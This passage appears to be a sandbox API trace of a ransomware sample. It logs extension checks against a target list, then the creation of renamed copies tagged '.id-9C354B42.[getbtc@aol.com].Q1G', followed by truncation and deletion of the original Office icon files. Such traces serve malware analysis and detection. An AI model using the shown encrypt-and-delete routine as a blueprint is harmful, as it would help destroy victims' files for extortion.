Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.512] lstrlenW (lpString=".doc") returned 4 [0265.512] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.513] lstrlenW (lpString=".docx") returned 5 [0265.513] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0265.513] lstrlenW (lpString=".pdf") returned 4 [0265.513] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString=".xls") returned 4 [0265.513] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString=".xlsx") returned 5 [0265.513] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0265.513] lstrlenW (lpString=".ppt") returned 4 [0265.513] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString=".zip") returned 4 [0265.513] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString=".rar") returned 4 [0265.513] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString=".bz2") returned 4 [0265.513] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.513] lstrlenW (lpString=".7z") returned 3 [0265.513] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString=".dbf") returned 4 [0265.513] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString=".1cd") returned 4 [0265.513] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString=".jpg") returned 4 [0265.513] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.513] lstrlenW (lpString=".doc") returned 4 [0265.513] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.513] lstrlenW (lpString=".docx") returned 5 [0265.513] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0265.513] lstrlenW (lpString=".pdf") returned 4 [0265.513] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.513] lstrlenW (lpString=".xls") returned 4 [0265.514] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.514] lstrlenW (lpString=".xlsx") returned 5 [0265.514] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0265.514] lstrlenW (lpString=".ppt") returned 4 [0265.514] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.514] lstrlenW (lpString=".zip") returned 4 [0265.514] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.514] lstrlenW (lpString=".rar") returned 4 [0265.514] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.514] lstrlenW (lpString=".bz2") returned 4 [0265.514] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.514] lstrlenW (lpString=".7z") returned 3 [0265.514] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.514] lstrlenW (lpString=".dbf") returned 4 [0265.514] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.514] lstrlenW (lpString=".1cd") returned 4 [0265.514] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO") returned 68 [0265.514] lstrlenW (lpString=".jpg") returned 4 [0265.514] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.514] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0265.514] lstrlenW (lpString="OFFLINE.ICO") returned 11 [0265.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.526] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3438) returned 1 [0265.526] CloseHandle (hObject=0x37c) returned 1 [0265.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico")) returned 0x20 [0265.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.527] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.527] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.528] GetLastError () returned 0x0 [0265.528] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd6e, lpOverlapped=0x0) returned 1 [0265.551] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd70, lpOverlapped=0x0) returned 1 [0265.552] ReadFile (in: hFile=0x37c, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.552] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0265.552] SetEndOfFile (hFile=0x3e0) returned 1 [0265.552] CloseHandle (hObject=0x3e0) returned 1 [0265.552] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.552] SetEndOfFile (hFile=0x37c) returned 1 [0265.554] CloseHandle (hObject=0x37c) returned 1 [0265.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico")) returned 1 [0265.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.555] lstrlenW (lpString=".doc") returned 4 [0265.555] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.555] lstrlenW (lpString=".docx") returned 5 [0265.555] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.555] lstrlenW (lpString=".pdf") returned 4 [0265.555] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.555] lstrlenW (lpString=".xls") returned 4 [0265.555] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString=".xlsx") returned 5 [0265.556] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.556] lstrlenW (lpString=".ppt") returned 4 [0265.556] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString=".zip") returned 4 [0265.556] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString=".rar") returned 4 [0265.556] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString=".bz2") returned 4 [0265.556] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.556] lstrlenW (lpString=".7z") returned 3 [0265.556] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString=".dbf") returned 4 [0265.556] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString=".1cd") returned 4 [0265.556] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString=".jpg") returned 4 [0265.556] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.556] lstrlenW (lpString=".doc") returned 4 [0265.556] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.556] lstrlenW (lpString=".docx") returned 5 [0265.556] lstrcmpiW (lpString1=".docx", lpString2="E.ICO") returned -1 [0265.556] lstrlenW (lpString=".pdf") returned 4 [0265.556] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString=".xls") returned 4 [0265.556] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString=".xlsx") returned 5 [0265.556] lstrcmpiW (lpString1=".xlsx", lpString2="E.ICO") returned -1 [0265.556] lstrlenW (lpString=".ppt") returned 4 [0265.556] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.557] lstrlenW (lpString=".zip") returned 4 [0265.557] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.557] lstrlenW (lpString=".rar") returned 4 [0265.557] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.557] lstrlenW (lpString=".bz2") returned 4 [0265.557] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.557] lstrlenW (lpString=".7z") returned 3 [0265.557] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.557] lstrlenW (lpString=".dbf") returned 4 [0265.557] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.557] lstrlenW (lpString=".1cd") returned 4 [0265.557] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO") returned 71 [0265.557] lstrlenW (lpString=".jpg") returned 4 [0265.557] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.557] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.557] lstrlenW (lpString="OnLineIdle.ico") returned 14 [0265.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.561] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3438) returned 1 [0265.562] CloseHandle (hObject=0x388) returned 1 [0265.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico")) returned 0x20 [0265.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.565] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.566] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.566] GetLastError () returned 0x0 [0265.566] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd6e, lpOverlapped=0x0) returned 1 [0265.568] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xd70, lpOverlapped=0x0) returned 1 [0265.569] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.569] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0265.569] SetEndOfFile (hFile=0x1b8) returned 1 [0265.569] CloseHandle (hObject=0x1b8) returned 1 [0265.569] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.569] SetEndOfFile (hFile=0x388) returned 1 [0265.571] CloseHandle (hObject=0x388) returned 1 [0265.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico")) returned 1 [0265.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.572] lstrlenW (lpString=".doc") returned 4 [0265.572] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.572] lstrlenW (lpString=".docx") returned 5 [0265.572] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.572] lstrlenW (lpString=".pdf") returned 4 [0265.572] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.572] lstrlenW (lpString=".xls") returned 4 [0265.572] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.572] lstrlenW (lpString=".xlsx") returned 5 [0265.572] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.572] lstrlenW (lpString=".ppt") returned 4 [0265.572] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.572] lstrlenW (lpString=".zip") returned 4 [0265.572] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.572] lstrlenW (lpString=".rar") returned 4 [0265.572] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.572] lstrlenW (lpString=".bz2") returned 4 [0265.572] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.572] lstrlenW (lpString=".7z") returned 3 [0265.572] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.572] lstrlenW (lpString=".dbf") returned 4 [0265.572] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.572] lstrlenW (lpString=".1cd") returned 4 [0265.573] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".jpg") returned 4 [0265.573] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".doc") returned 4 [0265.573] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.573] lstrlenW (lpString=".docx") returned 5 [0265.573] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0265.573] lstrlenW (lpString=".pdf") returned 4 [0265.573] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString=".xls") returned 4 [0265.573] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString=".xlsx") returned 5 [0265.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0265.573] lstrlenW (lpString=".ppt") returned 4 [0265.573] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".zip") returned 4 [0265.573] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString=".rar") returned 4 [0265.573] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.573] lstrlenW (lpString=".bz2") returned 4 [0265.573] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.573] lstrlenW (lpString=".7z") returned 3 [0265.573] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".dbf") returned 4 [0265.573] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".1cd") returned 4 [0265.573] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico") returned 74 [0265.573] lstrlenW (lpString=".jpg") returned 4 [0265.573] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.574] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.574] lstrlenW (lpString="OutDomain.ico") returned 13 [0265.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.574] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=318) returned 1 [0265.574] CloseHandle (hObject=0x388) returned 1 [0265.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico")) returned 0x20 [0265.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.575] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.575] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.575] GetLastError () returned 0x0 [0265.575] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.576] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.577] ReadFile (in: hFile=0x388, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.577] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xee, lpOverlapped=0x0) returned 1 [0265.577] SetEndOfFile (hFile=0x1b8) returned 1 [0265.577] CloseHandle (hObject=0x1b8) returned 1 [0265.577] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.577] SetEndOfFile (hFile=0x388) returned 1 [0265.580] CloseHandle (hObject=0x388) returned 1 [0265.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico")) returned 1 [0265.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico") returned 73 [0265.581] lstrlenW (lpString=".doc") returned 4 [0265.581] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.581] lstrlenW (lpString=".docx") returned 5 [0265.581] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0265.582] lstrlenW (lpString=".pdf") returned 4 [0265.582] lstrcmpiW 